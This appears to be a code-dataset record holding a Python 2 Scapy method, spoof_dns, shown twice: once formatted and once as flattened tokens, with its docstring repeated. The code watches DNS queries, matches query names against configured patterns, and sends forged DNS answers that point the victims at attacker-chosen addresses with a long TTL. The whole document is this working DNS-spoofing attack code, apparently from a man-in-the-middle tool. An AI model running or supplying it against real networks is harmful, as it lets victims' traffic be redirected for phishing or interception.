(self, pkt)
Receive packets and spoof if necessary
Receive packets and spoof if necessary
Receive packets and spoof if necessary
def spoof_dns(self, pkt):
        """Receive packets and spoof if necessary
        """
        if DNSQR in pkt and pkt[Ether].src != self.local_mac:
            for dns in self.dns_spoofed_pair.keys():
                tmp = dns.search(pkt[DNSQR].qname)
                if not tmp is None and not tmp.group(0) is None:
                    p = Ether(dst=pkt[Ether].src, src=self.local_mac)
                    p /= IP(src=pkt[IP].dst, dst=pkt[IP].src)
                    p /= UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)
                    p /= DNS(id=pkt[DNS].id, qr=1L, rd=1L, ra=1L,
                        an=DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                        rclass='IN', ttl=40000,
                        rdata=self.dns_spoofed_pair[dns]), qd=pkt[DNS].qd)
                    sendp(p, count=1)
                    self.log_msg('Caught request to %s' % (pkt[DNSQR].qname))
        del(pkt)
def spoof_dns ( self , pkt ) : if DNSQR in pkt and pkt [ Ether ] . src != self . local_mac : for dns in self . dns_spoofed_pair . keys ( ) : tmp = dns . search ( pkt [ DNSQR ] . qname ) if not tmp is None and not tmp . group ( 0 ) is None : p = Ether ( dst = pkt [ Ether ] . src , src = self . local_mac ) p /= IP ( src = pkt [ IP ] . dst , dst = pkt [ IP ] . src ) p /= UDP ( dport = pkt [ UDP ] . sport , sport = pkt [ UDP ] . dport ) p /= DNS ( id = pkt [ DNS ] . id , qr = 1L , rd = 1L , ra = 1L , an = DNSRR ( rrname = pkt [ DNS ] . qd . qname , type = 'A' , rclass = 'IN' , ttl = 40000 , rdata = self . dns_spoofed_pair [ dns ] ) , qd = pkt [ DNS ] . qd ) sendp ( p , count = 1 ) self . log_msg ( 'Caught request to %s' % ( pkt [ DNSQR ] . qname ) ) del ( pkt )